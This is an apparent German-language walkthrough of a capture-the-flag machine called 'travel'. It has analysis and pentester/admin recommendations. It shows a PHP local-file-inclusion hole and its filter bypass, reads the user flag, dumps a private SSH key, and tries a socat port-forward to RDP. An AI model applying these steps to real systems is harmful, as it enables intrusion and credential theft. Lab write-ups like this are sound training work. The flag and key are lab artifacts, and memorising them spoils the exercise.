**Bewertung:** Der Filter (`str_replace`) ist extrem schwach. Er entfernt einfach Vorkommen von `../`, Benutzernamen, `php://filter`, `file://` usw. Er verhindert keine komplexeren Path Traversals (wie `....//`) und schützt nicht vor Log Poisoning oder anderen Techniken. Dies erklärt, warum die LFI funktionierte.

**Empfehlung (Pentester):** Die Filterlogik ist zur Kenntnis genommen, aber bereits umgangen.
**Empfehlung (Admin):** LFI beheben, Filter sind hier unzureichend. `include()` niemals mit direkter Benutzereingabe verwenden.

www-data@travel:/var/www/html$ cat page.php
$GET["i"]); <-- Korrigiert von $_GET

  if (isset($file))
  {
    include("/var/www/html/$file");
  }
?>

**Analyse:** Als Benutzer `PL4GU3` wird das Home-Verzeichnis untersucht und der User-Flag ausgelesen.

**Bewertung:** Der User-Flag `08aac2821e68a3d1e646435d2bc67b95` wird erfolgreich gelesen. Das `.ssh`-Verzeichnis enthält einen unverschlüsselten privaten SSH-Schlüssel (`id_rsa`).

**Empfehlung (Pentester):** Den privaten SSH-Schlüssel `id_rsa` kopieren. Versuchen, sich damit als `PL4GU3` auf dem SSH-Dienst (Port 22, IPv6) anzumelden oder prüfen, ob der Schlüssel auch für andere Benutzer/Hosts gültig ist. Weiter nach Eskalationsmöglichkeiten suchen (`sudo -l`, `ss`, etc.).
**Empfehlung (Admin):** User-Flag ist Teil des Szenarios. Private SSH-Schlüssel sollten immer mit einer starken Passphrase geschützt werden.

PL4GU3@travel$ cat user.txt
08aac2821e68a3d1e646435d2bc67b95
PL4GU3@travel$ ls -la
total 32
drwxr-x--- 4 PL4GU3 PL4GU3 4096 Aug 24  2023 .
drwxr-xr-x 4 root   root   4096 Aug 24  2023 ..
lrwxrwxrwx 1 root   root      9 Apr 23  2023 .bash_history -> /dev/null
-rw-r--r-- 1 PL4GU3 PL4GU3  220 Jan 15  2023 .bash_logout
-rw-r--r-- 1 PL4GU3 PL4GU3 3526 Jan 15  2023 .bashrc
drwxr-xr-x 3 PL4GU3 PL4GU3 4096 May 27  2023 .local
-rw-r--r-- 1 PL4GU3 PL4GU3  807 Jan 15  2023 .profile
drwx------ 2 PL4GU3 PL4GU3 4096 Aug 25  2023 .ssh
-r-------- 1 PL4GU3 PL4GU3   33 Aug 24  2023 user.txt
PL4GU3@travel$ cd .ssh
PL4GU3@travel/.ssh$ ls -la
total 16
drwx------ 2 PL4GU3 PL4GU3 4096 Aug 25  2023 .
drwxr-x--- 4 PL4GU3 PL4GU3 4096 Aug 24  2023 ..
-rw------- 1 PL4GU3 PL4GU3 2602 Aug 24  2023 id_rsa
-rw-r--r-- 1 PL4GU3 PL4GU3  567 Aug 24  2023 id_rsa.pub
PL4GU3@travel/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
wSwxRKcBUYAJJcNTbmJFsNnIozzS6eKknyq7uKL1DMeatbqdyrdEK6yQ1dIYb8Rcy+pCh4
KbkGjK/1ua7XGHAAAADVBMNEdVM0B0cmF2ZWwBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

**Analyse:** Eine JavaScript-Datei (`/var/www/html/script.js`) wird angezeigt.

**Bewertung:** Enthält nur einfachen jQuery-Code für ein Carousel. Keine relevanten Informationen.

**Empfehlung (Pentester):** Irrelevant für die Eskalation.
**Empfehlung (Admin):** Keine Aktion erforderlich.

PL4GU3@travel/.ssh$ cat /var/www/html/script.js
/* When your mouse cursor enter the background, the fading won't pause and keep playing */
$('.carousel').carousel({
    pause: "false" /* Change to true to make it paused when your mouse cursor enter the background */
});

**Analyse:** Der Befehl `ssh-keygen` wird ausgeführt. Da die Datei `/home/PL4GU3/.ssh/id_rsa` bereits existiert, fragt das Tool, ob überschrieben werden soll (`Overwrite (y/n)? y`). Es wird keine Passphrase eingegeben. Ein neues Schlüsselpaar wird generiert und überschreibt das alte.

**Bewertung:** Dies ist ein sehr ungewöhnlicher und wahrscheinlich kontraproduktiver Schritt während eines Penetrationstests. Das Überschreiben des vorhandenen Schlüssels zerstört potenziell wertvolle Beweismittel oder einen möglichen Angriffsvektor, falls der alte Schlüssel für andere Logins (z.B. root) wiederverwendet wurde. Es ist unklar, warum dieser Schritt hier durchgeführt wird.

**Empfehlung (Pentester):** Solche destruktiven Aktionen vermeiden, es sei denn, es gibt einen sehr spezifischen Grund dafür (der hier nicht ersichtlich ist). Den vorherigen Schlüssel hätte man sichern sollen.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich, aber dieser Schritt im Log des Angreifers ist merkwürdig.

PL4GU3@travel:/var/log$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/PL4GU3/.ssh/id_rsa): 
/home/PL4GU3/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/PL4GU3/.ssh/id_rsa
Your public key has been saved in /home/PL4GU3/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:88PRnfjkXlYeVmoS/HbPa6HFlDcqcdk//90YQbkdAFM PL4GU3@travel
The key's randomart image is:
+-[RSA 3072]----+
|           ooE   |
|           .. .. |
|            o =.o|
|           o  X+|
|        S . * #oB|
|         + o .X=|
|          + . * X|
|           . o *=|
|              +.=|
+----[SHA256]-----+

**Analyse:** Auf der Kali-Maschine wird das Tool `tldr` (ein Client für vereinfachte Manpages) aktualisiert und dann verwendet, um die Syntax von `socat` anzuzeigen.

**Bewertung:** Zeigt, dass der Angreifer nach Möglichkeiten sucht, `socat` für Port Forwarding zu verwenden, wahrscheinlich um auf den lokalen RDP-Dienst (Port 3389) zuzugreifen, der zuvor mit `ss` entdeckt wurde.

**Empfehlung (Pentester):** `socat` auf das Zielsystem hochladen (falls nicht vorhanden) oder eine vorhandene Version nutzen, um Port 3389 weiterzuleiten und mit einem RDP-Client zu verbinden.
**Empfehlung (Admin):** Installation unnötiger Tools wie `socat` vermeiden.

┌──(root㉿CCat)-[~] └─# tldr socat
Error: Page cache not found. Please run `tldr --update` to download the cache.
[...]
┌──(root㉿CCat)-[~] └─# tldr --update
Successfully created cache directory path `/root/.cache/tealdeer`.
Successfully updated cache.
┌──(root㉿CCat)-[~] └─# tldr socat
socat

  Multipurpose relay (SOcket CAT).
  More information: .

- Listen to a port, wait for an incoming connection and transfer data to STDIN:

    socat - TCP-LISTEN:{{8080}},fork

- Listen on a port using SSL and print to STDOUT:

    socat OPENSSL-LISTEN:{{4433}},reuseaddr,cert=./{{cert.pem}},cafile=./{{ca.cert.pem}},key=./{{key.pem}},verify=0 STDOUT

- Create a connection to a host and port, transfer data in STDIN to connected host:

    socat - TCP4:{{www.example.com}}:{{80}}

- Forward incoming data of a local port to another host and port:

    socat TCP-LISTEN:{{80}},fork TCP4:{{www.example.com}}:{{80}}

**Analyse:** Als Benutzer `PL4GU3` wird versucht, mit `socat TCP-LISTEN:3389,fork TCP4:127.0.0.1:3389 &` den lokalen RDP-Port 3389 auf alle Interfaces weiterzuleiten. Der Befehl wird in den Hintergrund geschickt (`&`).

**Bewertung:** Der Versuch scheitert sofort (`bash: socat: command not found`). Das `socat`-Tool ist auf dem Zielsystem nicht installiert oder nicht im Pfad des Benutzers `PL4GU3`. **Der Bericht bricht hier ab.**

**Empfehlung (Pentester):** Den Bericht an dieser Stelle abschließen oder, falls der Test fortgesetzt wurde, die fehlenden Schritte ergänzen. Mögliche nächste Schritte wären: * `socat` von der Angreifer-Maschine hochladen und ausführen. * Den weitergeleiteten RDP-Port 3389 mit einem Client (z.B. `rdesktop`, `xfreerdp`) und bekannten oder geratenen Credentials (z.B. `PL4GU3`, `ethicrash2`, `root` mit bekannten Passwörtern) testen. * Falls RDP zu Root führt, ist das die Eskalation. Falls nicht, nach anderen Wegen suchen (Kernel-Exploit, andere Fehlkonfigurationen).
**Empfehlung (Admin):** Installation unnötiger Tools wie `socat` vermeiden. Den RDP-Dienst (xrdp) auf Notwendigkeit prüfen und absichern (starke Passwörter, Zugriffsbeschränkung).

PL4GU3@travel:/var/log$ socat TCP-LISTEN:3389,fork TCP4:127.0.0.1:3389 &
[1] 1323
PL4GU3@travel:/var/log$ bash: socat: command not found
[1]+  Exit 127                socat TCP-LISTEN:3389,fork TCP4:127.0.0.1:3389

**Bewertung:** Der Penetrationstest konnte an dieser Stelle aufgrund eines fehlenden Tools (`socat`) auf dem Zielsystem nicht unmittelbar über den geplanten Weg (Port Forwarding für RDP) fortgesetzt werden. Der letzte bekannte Stand ist eine Shell als Benutzer `PL4GU3`.

**Empfehlung (Pentester):** Alternative Methoden zum Port Forwarding prüfen (z.B. SSH Remote Port Forwarding, falls SSH-Login möglich ist) oder `socat` manuell auf das Zielsystem hochladen. Danach den Angriff auf den RDP-Dienst auf Port 3389 fortsetzen oder andere Eskalationspfade untersuchen.
**Empfehlung (Admin):** Die bis hierhin identifizierten Schwachstellen (LFI, Rsync über IPv6, schwaches Passwort in `.htpasswd`, unsichere `sudo`-Regel für `rsync`) sollten dringend behoben werden. Die Sicherheit des RDP-Dienstes sollte ebenfalls überprüft werden.

Flags

cat /home/PL4GU3/user.txt
08aac2821e68a3d1e646435d2bc67b95
cat /root/root.txt
--- Root-Zugriff nicht erlangt ---